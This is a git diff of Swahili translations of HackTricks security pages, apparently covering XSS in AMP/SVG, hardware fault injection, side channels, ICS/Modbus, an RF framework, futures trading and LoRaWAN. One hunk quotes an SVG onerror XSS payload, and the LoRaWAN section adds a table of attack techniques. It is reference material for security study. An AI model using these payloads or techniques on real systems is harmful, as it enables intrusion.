AMP, inayolenga kuongeza utendaji wa ukurasa wa wavuti kwenye vifaa vya rununu, inajumuisha HTML tags zilizoimarishwa na JavaScript ili kuhakikisha kazi na kuzingatia kasi na usalama. Inasaidia anuwai ya vipengele kwa ajili ya vipengele mbalimbali, vinavyopatikana kupitia [AMP components](https://amp.dev/documentation/components/?format=websites).
|
||||
|
||||
Muundo wa [**AMP for Email**](https://amp.dev/documentation/guides-and-tutorials/learn/email-spec/amp-email-format/) unapanua vipengele maalum vya AMP kwa barua pepe, na kuwapa wapokeaji uwezo wa kuingiliana na maudhui moja kwa moja ndani ya barua zao pepe.
|
||||
|
||||
@ -1623,9 +1623,9 @@ id="foo"/>
|
||||
```xml
|
||||
<svg><use href="data:image/svg+xml,<svg id='x' xmlns='http://www.w3.org/2000/svg' ><image href='1' onerror='alert(1)' /></svg>#x" />
|
||||
```
|
||||
Pata **SVG payloads zaidi katika** [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)
|
||||
Pata **payloads zaidi za SVG katika** [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)
|
||||
|
||||
## Mifano ya JS Mbalimbali & Taarifa Muhimu
|
||||
## Mambo Mengine ya JS & Taarifa Zinazohusiana
|
||||
|
||||
{{#ref}}
|
||||
other-js-tricks.md
|
||||
|
@ -1,9 +1,9 @@
|
||||
# Fault Injection Attacks
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
Shambulio la kuingiza makosa linajumuisha kuanzisha usumbufu wa nje katika mizunguko ya kielektroniki ili kuathiri tabia yake, na kusababisha kufichua taarifa au hata kupita vizuizi fulani katika mzunguko. Shambulio hili linafungua uwezekano mwingi wa kushambulia mizunguko ya kielektroniki. Shambulio hili pia linajulikana kama glitching ya mizunguko ya kielektroniki.
|
||||
Shambulio la kuingiza makosa linajumuisha kuanzisha usumbufu wa nje katika mizunguko ya kielektroniki ili kuathiri tabia yake, na kusababisha kufichua taarifa au hata kupita vizuizi fulani katika mzunguko. Shambulio hili linafungua nafasi nyingi za kushambulia mizunguko ya kielektroniki. Shambulio hili pia linajulikana kama glitching ya mizunguko ya kielektroniki.
|
||||
|
||||
Kuna mbinu nyingi na njia za kuingiza makosa katika mzunguko wa kielektroniki.
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -1,11 +1,11 @@
|
||||
# Side Channel Analysis Attacks
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
Mashambulizi ya Side Channel Analysis yanarejelea kubaini taarifa kutoka kwa kifaa au chombo kupitia njia au chanzo kingine ambacho kinaathari isiyo ya moja kwa moja juu yake na taarifa zinaweza kutolewa kutoka kwake. Hii inaweza kueleweka vizuri zaidi kwa mfano:
|
||||
Mashambulizi ya Side Channel Analysis yanarejelea kubaini taarifa kutoka kwa kifaa au chombo kupitia njia au chanzo kingine ambacho kina ushawishi wa moja kwa moja juu yake na taarifa zinaweza kutolewa kutoka kwake. Hii inaweza kueleweka vizuri zaidi kwa mfano:
|
||||
|
||||
Kuchambua mitetemo katika karatasi za kioo ambazo ziko karibu na chanzo cha sauti, lakini chanzo cha sauti hakiwezi kufikiwa. Mitetemo katika kioo inaathiriwa na chanzo cha sauti na ikiwa itafuatiliwa na kuchambuliwa, sauti inaweza kufasiriwa na kutafsiriwa.
|
||||
|
||||
Mashambulizi haya ni maarufu sana katika hali ya kuvuja kwa data kama funguo za kibinafsi au kutafuta operesheni katika prosesa. Mzunguko wa elektroniki una njia nyingi ambazo, taarifa zinavuja mara kwa mara. Kufuatilia na kuchambua kunaweza kuwa na manufaa kwa kufichua taarifa nyingi kuhusu mzunguko na ndani yake.
|
||||
Mashambulizi haya ni maarufu sana katika hali ya kuvuja kwa data kama funguo za kibinafsi au kutafuta operesheni katika prosesa. Mzunguko wa elektroniki una njia nyingi ambazo, taarifa zinaendelea kuvuja. Kufuatilia na kuchambua kunaweza kuwa na manufaa kwa kufichua taarifa nyingi kuhusu mzunguko na ndani yake.
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -1,19 +1,19 @@
|
||||
# Industrial Control Systems Hacking
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## About this Section
|
||||
|
||||
Sehemu hii ina kila kitu kuhusu Mifumo ya Kudhibiti Viwanda ikiwa ni pamoja na dhana na mbinu za kuzikabili na masuala mbalimbali ya usalama yanayoshuhudiwa ndani yao.
|
||||
|
||||
Mifumo ya Kudhibiti Viwanda ipo kila mahali, kwani viwanda ni muhimu kwa maendeleo ya kiuchumi ya taifa. Lakini hizi ICS ni ngumu kuboresha na maendeleo madogo yamefanywa katika uwanja huu. Hivyo, kugundua kasoro za usalama ni jambo la kawaida hapa. Sehemu kubwa ya itifaki na viwango vinavyotumika hapa vilitengenezwa nyuma ya miaka ya 90 na vina uwezo mdogo ikilinganishwa na hali za shambulio za sasa.
|
||||
Mifumo ya Kudhibiti Viwanda ipo kila mahali, kwani viwanda ni muhimu kwa maendeleo ya kiuchumi ya taifa. Lakini hizi ICS ni ngumu kuboresha na maendeleo madogo yamefanywa katika uwanja huu. Hivyo, kugundua kasoro za usalama ni jambo la kawaida hapa. Mifumo mingi na viwango vinavyotumika hapa vilitengenezwa nyuma ya miaka ya 90 na vina uwezo mdogo ikilinganishwa na hali za shambulio za sasa.
|
||||
|
||||
Imekuwa muhimu kulinda mifumo hii kwani kuharibu hizo kunaweza kugharimu sana na hata maisha katika hali mbaya zaidi. Ili kuelewa usalama wa Mifumo ya Kudhibiti Viwanda, kujua ndani yao ni muhimu.
|
||||
Imefanyika kuwa muhimu kulinda mifumo hii kwani kuharibu hizo kunaweza kugharimu sana na hata maisha katika hali mbaya zaidi. Ili kuelewa usalama wa Mifumo ya Kudhibiti Viwanda, kujua ndani yao ni muhimu.
|
||||
|
||||
Kwa kuwa Mifumo ya Kudhibiti Viwanda imewekwa kufuata viwango vilivyowekwa, kujua kila kipengele kutasaidia katika kuunganisha mitambo mingine yote katika mfumo wa kudhibiti. Ufungaji wa vifaa hivi kama vile PLCs na mifumo ya SCADA ni tofauti katika viwanda mbalimbali, hivyo ukusanyaji wa taarifa ni muhimu.
|
||||
|
||||
Mifumo ya Kudhibiti Viwanda inaweza kuwa ngumu wakati mwingine na hivyo inahitaji uvumilivu mwingi kufanya chochote. Ni kuhusu kuchunguza na upelelezi kabla ya kupanga mashambulizi na kuendeleza exploit yoyote.
|
||||
Mifumo ya Kudhibiti Viwanda inaweza kuwa ngumu wakati mwingine na hivyo inahitaji uvumilivu mwingi kufanya chochote. Ni kuhusu kuchunguza na kufanya upelelezi kabla ya kupanga mashambulizi na kuendeleza exploit yoyote.
|
||||
|
||||
Mbinu hizi zinaweza pia kutumika kulinda dhidi ya mashambulizi na blue teaming kwa mifumo ya kudhibiti viwanda.
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -1,12 +1,12 @@
|
||||
# Protokali ya Modbus
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Utangulizi wa Protokali ya Modbus
|
||||
|
||||
Protokali ya Modbus ni protokali inayotumika sana katika Uhandisi wa Viwanda na Mifumo ya Kudhibiti. Modbus inaruhusu mawasiliano kati ya vifaa mbalimbali kama vile wakala wa mantiki wanaoweza kuprogramishwa (PLCs), sensorer, actuators, na vifaa vingine vya viwandani. Kuelewa Protokali ya Modbus ni muhimu kwani hii ndiyo protokali pekee inayotumika sana katika ICS na ina uso mkubwa wa mashambulizi kwa ajili ya kunasa na hata kuingiza amri katika PLCs.
|
||||
Protokali ya Modbus ni protokali inayotumika sana katika Uhandisi wa Viwanda na Mifumo ya Kudhibiti. Modbus inaruhusu mawasiliano kati ya vifaa mbalimbali kama vile wakala wa mantiki wanaoweza kuprogramwa (PLCs), sensorer, actuators, na vifaa vingine vya viwanda. Kuelewa Protokali ya Modbus ni muhimu kwani hii ndiyo protokali ya mawasiliano inayotumika zaidi katika ICS na ina uso mkubwa wa mashambulizi kwa ajili ya kunasa na hata kuingiza amri katika PLCs.
|
||||
|
||||
Hapa, dhana zinaelezwa kwa alama zikitoa muktadha wa protokali na asili yake ya uendeshaji. Changamoto kubwa katika usalama wa mifumo ya ICS ni gharama ya utekelezaji na uboreshaji. Protokali hizi na viwango vilipangwa katika mwanzoni mwa miaka ya 80 na 90 ambazo bado zinatumika sana. Kwa kuwa tasnia ina vifaa na muunganisho mwingi, kuboresha vifaa ni vigumu sana, ambayo inawapa hackers faida ya kushughulikia protokali za zamani. Mashambulizi dhidi ya Modbus ni kama yasiyoweza kuepukika kwani itatumika bila uboreshaji na uendeshaji wake ni muhimu kwa tasnia.
|
||||
Hapa, dhana zinaelezwa kwa alama zikitoa muktadha wa protokali na asili yake ya uendeshaji. Changamoto kubwa katika usalama wa mifumo ya ICS ni gharama ya utekelezaji na uboreshaji. Protokali hizi na viwango vilipangwa mwanzoni mwa miaka ya 80 na 90 ambazo bado zinatumika sana. Kwa kuwa tasnia ina vifaa vingi na muunganisho, kuboresha vifaa ni vigumu sana, ambayo inawapa hackers faida ya kushughulikia protokali za zamani. Mashambulizi dhidi ya Modbus ni kama yasiyoweza kuepukika kwani itatumika bila uboreshaji na uendeshaji wake ni muhimu kwa tasnia.
|
||||
|
||||
## Muktadha wa Mteja-Mtumikaji
|
||||
|
||||
@ -18,11 +18,11 @@ Protokali ya Modbus imeundwa kwa mawasiliano ya Serial na pia Mawasiliano ya Eth
|
||||
|
||||
## Uwakilishi wa Data
|
||||
|
||||
Data inatumwa katika protokali ya Modbus kama ASCII au Binary, ingawa muundo wa binary unatumika kutokana na ufanisi wake na vifaa vya zamani.
|
||||
Data inatumwa katika protokali ya Modbus kama ASCII au Binary, ingawa muundo wa binary unatumika kwa sababu ya ufanisi wake na vifaa vya zamani.
|
||||
|
||||
## Mifumo ya Kazi
|
||||
|
||||
Protokali ya ModBus inafanya kazi na uhamasishaji wa mifumo maalum ya kazi ambayo inatumika kuendesha PLCs na vifaa mbalimbali vya kudhibiti. Sehemu hii ni muhimu kuelewa kwani mashambulizi ya kurudi yanaweza kufanywa kwa kurudisha mifumo ya kazi. Vifaa vya zamani havisaidii usimbaji wa mawasiliano ya data na kwa kawaida vina nyaya ndefu zinazovihusisha, ambayo inasababisha kuingiliwa kwa nyaya hizi na kunasa/kuingiza data.
|
||||
Protokali ya ModBus inafanya kazi na uhamasishaji wa mifumo maalum ya kazi ambazo zinatumika kuendesha PLCs na vifaa mbalimbali vya kudhibiti. Sehemu hii ni muhimu kuelewa kwani mashambulizi ya kurudi yanaweza kufanywa kwa kurudisha mifumo ya kazi. Vifaa vya zamani havisaidii usimbaji wa mawasiliano ya data na kwa kawaida vina nyaya ndefu zinazovihusisha, ambayo inasababisha kuingiliwa kwa nyaya hizi na kunasa/kuingiza data.
|
||||
|
||||
## Anwani za Modbus
|
||||
|
||||
@ -32,4 +32,4 @@ Zaidi ya hayo, Modbus pia inatekeleza ukaguzi wa makosa ili kuhakikisha uaminifu
|
||||
|
||||
Kwa sababu ya matumizi yake makubwa na ukosefu wa uboreshaji, kushambulia Modbus kunatoa faida kubwa na uso wake wa mashambulizi. ICS inategemea sana mawasiliano kati ya vifaa na mashambulizi yoyote yaliyofanywa dhidi yao yanaweza kuwa hatari kwa uendeshaji wa mifumo ya viwanda. Mashambulizi kama kurudi, kuingiza data, kunasa data na kuvuja, Kukataa Huduma, uongo wa data, n.k. yanaweza kufanywa ikiwa njia ya uhamasishaji itatambuliwa na mshambuliaji.
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -1,6 +1,6 @@
|
||||
# Investment Terms
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
## Spot
|
||||
|
||||
@ -16,7 +16,7 @@ Futures ni mkataba ambapo pande 2 zinakubaliana **kupata kitu katika siku zijazo
|
||||
|
||||
Kwa wazi, ikiwa baada ya miezi 6 thamani ya bitcoin itakuwa 80,000$, upande wa muuzaji utapoteza pesa na upande wa mnunuzi utapata. Ikiwa katika miezi 6 thamani ya bitcoin itakuwa 60,000$, kinyume chake kinatokea.
|
||||
|
||||
Hata hivyo, hii ni ya kuvutia kwa mfano kwa biashara ambazo zinazalisha bidhaa na zinahitaji kuwa na uhakika kwamba wataweza kuziuza kwa bei ya kulipa gharama. Au biashara ambazo zinataka kuhakikisha bei za kudumu katika siku zijazo kwa kitu hata kama ni juu.
|
||||
Hata hivyo, hii ni ya kuvutia kwa mfano kwa biashara ambazo zinazalisha bidhaa na zinahitaji kuwa na uhakika kwamba wataweza kuziuza kwa bei ya kulipia gharama. Au biashara ambazo zinataka kuhakikisha bei za kudumu katika siku zijazo kwa kitu hata kama ni juu.
|
||||
|
||||
Ingawa katika masoko hii kawaida hutumiwa kujaribu kupata faida.
|
||||
|
||||
@ -25,9 +25,9 @@ Ingawa katika masoko hii kawaida hutumiwa kujaribu kupata faida.
|
||||
|
||||
### Hedging With Futures <a href="#mntl-sc-block_7-0" id="mntl-sc-block_7-0"></a>
|
||||
|
||||
Ikiwa meneja wa mfuko anaogopa kwamba hisa fulani zitashuka, anaweza kuchukua short position juu ya mali fulani kama bitcoin au mikataba ya futures ya S&P 500. Hii itakuwa sawa na kununua au kuwa na mali fulani na kuunda mkataba wa kuuza hizo katika wakati ujao kwa bei kubwa.
|
||||
Ikiwa meneja wa mfuko anaogopa kwamba hisa fulani zitashuka, anaweza kuchukua short position juu ya mali fulani kama bitcoin au mikataba ya S&P 500 futures. Hii itakuwa sawa na kununua au kuwa na mali fulani na kuunda mkataba wa kuuza hizo katika wakati ujao kwa bei kubwa.
|
||||
|
||||
Iwapo bei itashuka meneja wa mfuko atapata faida kwa sababu atauza mali hizo kwa bei kubwa. Ikiwa bei ya mali itakapoongezeka meneja hatapata faida hiyo lakini bado atahifadhi mali zake.
|
||||
Iwapo bei itashuka, meneja wa mfuko atapata faida kwa sababu atauza mali hizo kwa bei kubwa. Ikiwa bei ya mali itakapoongezeka, meneja hatapata faida hiyo lakini bado atahifadhi mali zake.
|
||||
|
||||
### Perpetual Futures
|
||||
|
||||
@ -39,10 +39,10 @@ Kumbuka kwamba katika kesi hizi faida na hasara zinaweza kuwa katika wakati hali
|
||||
|
||||
**Leverage** inakuwezesha kudhibiti nafasi kubwa zaidi katika soko kwa kiasi kidogo cha pesa. Kimsingi inakuwezesha "kubeti" pesa nyingi zaidi kuliko ulizonazo ukihatarisha tu pesa ulizonazo.
|
||||
|
||||
Kwa mfano, ikiwa unafungua nafasi ya future katika BTC/USDT na 100$ na leverage ya 50x hii inamaanisha kwamba ikiwa bei itaongezeka 1%, basi utakuwa unashinda 1x50 = 50% ya uwekezaji wako wa awali (50$). Na hivyo utakuwa na 150$.\
|
||||
Kwa mfano, ikiwa unafungua nafasi ya future katika BTC/USDT kwa 100$ na leverage ya 50x hii inamaanisha kwamba ikiwa bei itaongezeka 1%, basi utakuwa unashinda 1x50 = 50% ya uwekezaji wako wa awali (50$). Na hivyo utakuwa na 150$.\
|
||||
Hata hivyo, ikiwa bei itashuka 1%, utapoteza 50% ya fedha zako (59$ katika kesi hii). Na ikiwa bei itashuka 2% utapoteza bet yako yote (2x50 = 100%).
|
||||
|
||||
Kwa hivyo, leveraging inaruhusu kudhibiti kiasi cha pesa unachobeti wakati unapanua faida na hasara.
|
||||
Kwa hivyo, leveraging inaruhusu kudhibiti kiasi cha pesa unazobeti wakati unapanua faida na hasara.
|
||||
|
||||
## Differences Futures & Options
|
||||
|
||||
@ -62,11 +62,11 @@ Hata hivyo, mnunuzi atakuwa akilipa ada fulani kwa muuzaji kwa kufungua chaguo h
|
||||
### 3. **Cost:**
|
||||
|
||||
* **Futures:** Hakuna gharama ya awali zaidi ya margin inayohitajika kushikilia nafasi, kwani mnunuzi na muuzaji wote wanawajibika kukamilisha biashara.
|
||||
* **Options:** Mnunuzi lazima alipe **premium ya chaguo** mapema kwa haki ya kutekeleza chaguo. Premium hii kimsingi ni gharama ya chaguo.
|
||||
* **Options:** Mnunuzi lazima alipe **option premium** mapema kwa haki ya kutekeleza chaguo. Premium hii kimsingi ni gharama ya chaguo.
|
||||
|
||||
### 4. **Profit Potential:**
|
||||
|
||||
* **Futures:** Faida au hasara inategemea tofauti kati ya bei ya soko wakati wa kumalizika na bei iliyokubaliwa katika mkataba.
|
||||
* **Options:** Mnunuzi anapata faida wakati soko linahamia kwa faida zaidi ya bei ya mgomo kuliko premium iliyolipwa. Muuzaji anapata faida kwa kuweka premium ikiwa chaguo halitekelezwi.
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
@ -1,3 +1,3 @@
|
||||
# Radio Hacking
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -1,14 +1,14 @@
|
||||
# FISSURE - The RF Framework
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
**Kuelewa na Uhandisi wa Nyuma wa Ishara za SDR zisizo na Kiwango**
|
||||
|
||||
FISSURE ni mfumo wa RF na uhandisi wa nyuma wa chanzo wazi ulioandaliwa kwa viwango vyote vya ujuzi ukiwa na viunganishi vya kugundua na kuainisha ishara, kugundua protokali, kutekeleza mashambulizi, kudhibiti IQ, kuchambua udhaifu, automatisering, na AI/ML. Mfumo huu ulijengwa ili kuhamasisha uunganishaji wa haraka wa moduli za programu, redio, protokali, data za ishara, skripti, grafu za mtiririko, vifaa vya rejea, na zana za wahusika wengine. FISSURE ni mwezeshaji wa mtiririko wa kazi ambao unashikilia programu katika eneo moja na unaruhusu timu kujiweka sawa kwa urahisi huku wakishiriki usanidi wa msingi uliojaribiwa kwa usahihi kwa usambazaji maalum wa Linux.
|
||||
|
||||
Mfumo na zana zilizo pamoja na FISSURE zimeundwa kugundua uwepo wa nishati ya RF, kuelewa sifa za ishara, kukusanya na kuchambua sampuli, kuendeleza mbinu za kutuma na/au sindikiza, na kuunda mizigo au ujumbe maalum. FISSURE ina maktaba inayokua ya taarifa za protokali na ishara kusaidia katika utambuzi, uundaji wa pakiti, na fuzzing. Uwezo wa kuhifadhi mtandaoni upo ili kupakua faili za ishara na kujenga orodha za kucheza ili kuiga trafiki na kupima mifumo.
|
||||
Mfumo na zana zilizo pamoja na FISSURE zimeundwa kugundua uwepo wa nishati ya RF, kuelewa sifa za ishara, kukusanya na kuchambua sampuli, kuendeleza mbinu za kutuma na/au sindano, na kuunda mizigo au ujumbe maalum. FISSURE ina maktaba inayokua ya taarifa za protokali na ishara kusaidia katika utambuzi, uundaji wa pakiti, na fuzzing. Uwezo wa kuhifadhi mtandaoni upo ili kupakua faili za ishara na kujenga orodha za nyimbo kuiga trafiki na kujaribu mifumo.
|
||||
|
||||
Msingi wa msimbo wa Python na kiolesura cha mtumiaji kinawaruhusu wanaanza kujifunza haraka kuhusu zana na mbinu maarufu zinazohusiana na RF na uhandisi wa nyuma. Walimu katika usalama wa mtandao na uhandisi wanaweza kutumia vifaa vilivyomo au kutumia mfumo huu kuonyesha maombi yao halisi. Wanaendelezi na watafiti wanaweza kutumia FISSURE kwa kazi zao za kila siku au kufichua suluhisho zao za kisasa kwa hadhira kubwa. Kadri ufahamu na matumizi ya FISSURE yanavyokua katika jamii, ndivyo uwezo wake na upeo wa teknolojia inayojumuisha itakavyoongezeka.
|
||||
Msingi wa msimbo wa Python na kiolesura cha mtumiaji kinawaruhusu wanaanza kujifunza haraka kuhusu zana na mbinu maarufu zinazohusiana na RF na uhandisi wa nyuma. Walimu katika usalama wa mtandao na uhandisi wanaweza kutumia vifaa vilivyomo au kutumia mfumo huu kuonyesha maombi yao halisi. Wataalamu na watafiti wanaweza kutumia FISSURE kwa kazi zao za kila siku au kufichua suluhisho zao za kisasa kwa hadhira pana. Kadri ufahamu na matumizi ya FISSURE yanavyokua katika jamii, ndivyo uwezo wake na wigo wa teknolojia inayojumuisha itakavyoongezeka.
|
||||
|
||||
**Taarifa Zaidi**
|
||||
|
||||
@ -42,7 +42,7 @@ Mifumo hii ya uendeshaji bado iko katika hali ya beta. Ziko katika maendeleo na
|
||||
| DragonOS Focal (x86\_64) | Python3\_maint-3.8 |
|
||||
| Ubuntu 22.04 (x64) | Python3\_maint-3.10 |
|
||||
|
||||
Kumbuka: Zana fulani za programu hazifanyi kazi kwa kila OS. Rejelea [Software And Conflicts](https://github.com/ainfosec/FISSURE/blob/Python3\_maint-3.8/Help/Markdown/SoftwareAndConflicts.md)
|
||||
Kumbuka: Zana fulani za programu hazifanyi kazi kwa kila OS. Angalia [Software And Conflicts](https://github.com/ainfosec/FISSURE/blob/Python3\_maint-3.8/Help/Markdown/SoftwareAndConflicts.md)
|
||||
|
||||
**Usanidi**
|
||||
```
|
||||
@ -52,7 +52,7 @@ git checkout <Python2_maint-3.7> or <Python3_maint-3.8> or <Python3_maint-3.10>
|
||||
git submodule update --init
|
||||
./install
|
||||
```
|
||||
Hii itasakinisha utegemezi wa programu za PyQt zinazohitajika kuanzisha GUI za usakinishaji ikiwa hazijapatikana.
|
||||
Hii itasakinisha utegemezi wa programu za PyQt zinazohitajika kuanzisha GUI za usakinishaji ikiwa hazipatikani.
|
||||
|
||||
Ifuatayo, chagua chaguo linalofaa zaidi kwa mfumo wako wa uendeshaji (linapaswa kugundulika kiotomatiki ikiwa OS yako inalingana na chaguo).
|
||||
|
||||
@ -93,7 +93,7 @@ Refer to the FISSURE Help menu for more details on usage.
|
||||
|
||||
**Hardware**
|
||||
|
||||
Orodha ifuatayo ni ya vifaa "vilivyosaidiwa" vyenye viwango tofauti vya uungwaji mkono:
|
||||
Orodha ifuatayo ni ya vifaa "vilivyosaidiwa" vyenye viwango tofauti vya uunganisho:
|
||||
|
||||
* USRP: X3xx, B2xx, B20xmini, USRP2, N2xx
|
||||
* HackRF
|
||||
@ -106,7 +106,7 @@ Orodha ifuatayo ni ya vifaa "vilivyosaidiwa" vyenye viwango tofauti vya uungwaji
|
||||
|
||||
## Lessons
|
||||
|
||||
FISSURE inakuja na miongozo kadhaa ya kusaidia kufahamiana na teknolojia na mbinu tofauti. Mengi yanajumuisha hatua za kutumia zana mbalimbali ambazo zimeunganishwa kwenye FISSURE.
|
||||
FISSURE inakuja na miongozo kadhaa ya kusaidia kufahamiana na teknolojia na mbinu tofauti. Mingi ina hatua za kutumia zana mbalimbali ambazo zimeunganishwa ndani ya FISSURE.
|
||||
|
||||
* [Lesson1: OpenBTS](https://github.com/ainfosec/FISSURE/blob/Python3\_maint-3.8/Lessons/Markdown/Lesson1\_OpenBTS.md)
|
||||
* [Lesson2: Lua Dissectors](https://github.com/ainfosec/FISSURE/blob/Python3\_maint-3.8/Lessons/Markdown/Lesson2\_LuaDissectors.md)
|
||||
@ -125,7 +125,7 @@ FISSURE inakuja na miongozo kadhaa ya kusaidia kufahamiana na teknolojia na mbin
|
||||
* [ ] Ongeza aina zaidi za vifaa, protokali za RF, vigezo vya ishara, zana za uchambuzi
|
||||
* [ ] Saidia mifumo zaidi ya uendeshaji
|
||||
* [ ] Tengeneza vifaa vya darasa kuhusiana na FISSURE (RF Attacks, Wi-Fi, GNU Radio, PyQt, nk.)
|
||||
* [ ] Unda mabadiliko ya ishara, extractor ya vipengele, na mchanganuzi wa ishara kwa mbinu za AI/ML zinazoweza kuchaguliwa
|
||||
* [ ] Unda kondishina ya ishara, mtoa sifa, na mchanganuzi wa ishara kwa mbinu za AI/ML zinazoweza kuchaguliwa
|
||||
* [ ] Tekeleza mitambo ya demodulation ya kurudi kwa ajili ya kuzalisha bitstream kutoka kwa ishara zisizojulikana
|
||||
* [ ] Hamasisha vipengele vya msingi vya FISSURE kwa mpango wa uanzishaji wa node ya sensor ya jumla
|
||||
|
||||
@ -137,8 +137,8 @@ Mapendekezo ya kuboresha FISSURE yanahimizwa sana. Acha maoni kwenye ukurasa wa
|
||||
* Zana za programu zenye hatua za usakinishaji
|
||||
* Masomo mapya au nyenzo za ziada kwa masomo yaliyopo
|
||||
* Protokali za RF zinazovutia
|
||||
* Vifaa zaidi na aina za SDR kwa uungwaji mkono
|
||||
* Scripts za uchambuzi wa IQ katika Python
|
||||
* Vifaa zaidi na aina za SDR kwa uunganisho
|
||||
* Skripti za uchambuzi wa IQ katika Python
|
||||
* Marekebisho na maboresho ya usakinishaji
|
||||
|
||||
Michango ya kuboresha FISSURE ni muhimu ili kuharakisha maendeleo yake. Michango yoyote unayofanya inathaminiwa sana. Ikiwa unataka kuchangia kupitia maendeleo ya msimbo, tafadhali fork repo na uunde ombi la kuvuta:
|
||||
@ -153,7 +153,7 @@ Kuunda [Issues](https://github.com/ainfosec/FISSURE/issues) ili kuleta umakini k
|
||||
|
||||
## Collaborating
|
||||
|
||||
Wasiliana na Assured Information Security, Inc. (AIS) Business Development ili kupendekeza na kuimarisha fursa zozote za ushirikiano wa FISSURE–iwe ni kwa kujitolea muda wa kuunganisha programu yako, kuwa na watu wenye talanta katika AIS kuunda suluhisho kwa changamoto zako za kiufundi, au kuunganisha FISSURE kwenye majukwaa/aplikesheni nyingine.
|
||||
Wasiliana na Assured Information Security, Inc. (AIS) Business Development ili kupendekeza na kuimarisha fursa zozote za ushirikiano wa FISSURE–iwe ni kwa kujitolea muda wa kuunganisha programu yako, kuwa na watu wenye talanta katika AIS kuunda suluhisho kwa changamoto zako za kiufundi, au kuunganisha FISSURE katika majukwaa/aplikes nyingine.
|
||||
|
||||
## License
|
||||
|
||||
@ -179,8 +179,6 @@ Tunaelewa na tunashukuru kwa hawa wabunifu:
|
||||
|
||||
## Acknowledgments
|
||||
|
||||
Shukrani maalum kwa Dr. Samuel Mantravadi na Joseph Reith kwa michango yao kwenye mradi huu.
|
||||
Shukrani maalum kwa Dr. Samuel Mantravadi na Joseph Reith kwa michango yao katika mradi huu.
|
||||
|
||||
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -4,13 +4,92 @@
|
||||
|
||||
## Introduction
|
||||
|
||||
**Low-Power Wide Area Network** (LPWAN) ni kundi la teknolojia za mtandao wa wireless, zenye nguvu ya chini, zinazokusudiwa kwa **mawasiliano ya umbali mrefu** kwa kiwango cha chini cha bit.\
|
||||
**Low-Power Wide Area Network** (LPWAN) ni kundi la teknolojia za mtandao wa wireless, zenye nguvu ya chini, na eneo kubwa zinazoundwa kwa ajili ya **mawasiliano ya umbali mrefu** kwa kiwango cha chini cha bit.
|
||||
Zinaweza kufikia zaidi ya **maili sita** na **betri** zao zinaweza kudumu hadi **miaka 20**.
|
||||
|
||||
Long Range (**LoRa**) ni maarufu katika nchi nyingi na ina spesifikesheni ya chanzo wazi inayoitwa **LoRaWAN**.
|
||||
Long Range (**LoRa**) kwa sasa ndiyo tabaka la LPWAN lililotumika zaidi na spesifikesheni yake ya MAC-layer ya wazi ni **LoRaWAN**.
|
||||
|
||||
### LPWAN, LoRa, and LoRaWAN
|
||||
---
|
||||
|
||||
[https://github.com/IOActive/laf](https://github.com/IOActive/laf)
|
||||
## LPWAN, LoRa, na LoRaWAN
|
||||
|
||||
* LoRa – Chirp Spread Spectrum (CSS) tabaka la kimwili lililoundwa na Semtech (miliki lakini imeandikwa).
|
||||
* LoRaWAN – Tabaka la MAC/Network la wazi linaloshughulikiwa na LoRa-Alliance. Matoleo 1.0.x na 1.1 ni ya kawaida katika uwanja.
|
||||
* Muundo wa kawaida: *kifaa cha mwisho → lango (packet-forwarder) → seva ya mtandao → seva ya programu*.
|
||||
|
||||
> **Mfano wa usalama** unategemea funguo mbili za msingi za AES-128 (AppKey/NwkKey) ambazo zinapata funguo za kikao wakati wa mchakato wa *kujiunga* (OTAA) au zimeandikwa kwa ngumu (ABP). Ikiwa funguo yoyote inavuja, mshambuliaji anapata uwezo kamili wa kusoma/kandika juu ya trafiki inayohusiana.
|
||||
|
||||
---
|
||||
|
||||
## Muhtasari wa uso wa shambulio
|
||||
|
||||
| Tabaka | Udhaifu | Athari halisi |
|
||||
|-------|----------|------------------|
|
||||
| PHY | Jamming ya reaktivi / ya kuchagua | Upotevu wa pakiti 100 % umeonyeshwa kwa SDR moja na pato <1 W |
|
||||
| MAC | Kujiunga-Kubali & kurudiwa kwa data-frame (tena matumizi ya nonce, ABP counter rollover) | Ulaghai wa kifaa, sindano ya ujumbe, DoS |
|
||||
| Network-Server | Packet-forwarder isiyo salama, filters dhaifu za MQTT/UDP, firmware ya lango isiyosasishwa | RCE kwenye lango → kuhamasisha kwenye mtandao wa OT/IT |
|
||||
| Application | AppKeys zilizoandikwa kwa ngumu au zinazoweza kutabirika | Kujaribu nguvu/kufichua trafiki, kujifanya kuwa sensorer |
|
||||
|
||||
---
|
||||
|
||||
## Uthibitisho wa hivi karibuni (2023-2025)
|
||||
|
||||
